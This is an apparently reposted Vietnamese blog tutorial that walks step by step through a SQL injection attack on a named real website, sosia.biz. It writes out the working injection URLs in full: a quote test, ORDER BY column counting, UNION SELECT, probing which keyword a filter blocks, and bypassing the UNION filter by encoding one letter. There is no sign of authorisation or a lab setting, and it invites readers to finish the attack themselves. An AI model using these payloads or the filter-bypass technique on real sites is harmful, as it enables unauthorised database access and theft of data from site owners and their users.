Site: http://www.sosia.biz/list-en.php?categoria_sel=2

Bước 1: Tìm lỗi

http://www.sosia.biz/list-en.php?categoria_sel=2'



Giao diện website có thay đổi. Chứng tỏ site bị lỗi.

Bước 2: Tìm số trường cột


http://www.sosia.biz/list-en.php?categoria_sel=2 order by 7-- -




http://www.sosia.biz/list-en.php?categoria_sel=2 order by 6-- -



Các bạn nhìn trong hình thì sẽ thấy có sự khác biệt đó là impersonators in the category chuyển thành impersonators in the category cinema - film

Số trường cột cần tìm là 6

Bước 3: Xác định vị trí trường cột bị lỗi

http://www.sosia.biz/list-en.php?categoria_sel=2 UNION SELECT 1,2,3,4,5,6-- -



Đến đây thì các bạn thấy lỗi rồi đó Shy. Chúng ta sẽ vượt qua nó như sau.

Mình sẽ thử từng cái một bằng cách như sau
http://www.sosia.biz/list-en.php?categoria_sel=2+
--> nếu nó không bị lỗi thì khoảng cách giữa các từ không bị chặn


www.sosia.biz/list-en.php?categoria_sel=2+UNION



Theo như hình trên thì bước đầu chúng ta suy đoán là nó chặn từ UNION, nhưng để kiểm tra cho chính xác thì mình sẽ tiếp tục thử với từ SELECT

http://www.sosia.biz/list-en.php?categoria_sel=2+SELECT
--> không bị lỗi như khi thử với từ UNION




Sau khi thử từng bước như trên thì chúng ta xác định chắc chắn là từ UNION bị chặn, mình sẽ tiến hành bypass nó bằng các encode một từ bất kỳ trong từ UNION. Ở đây thì mình chọn chữ O, các bạn có thể tham khảo các chữ khác tại: http://www.greentea.markschwing1.com/unico.html

http://www.sosia.biz/list-en.php?categoria_sel=-2 UNI%4FN SELECT 1,2,3,4,5,6-- -

Xuất hiện số 2 rất là đẹp



Còn lại thì các bạn tự tìm hiểu


Nguồn:  chinhnghia - ceh.vn

Đăng nhận xét Blogger

 
Top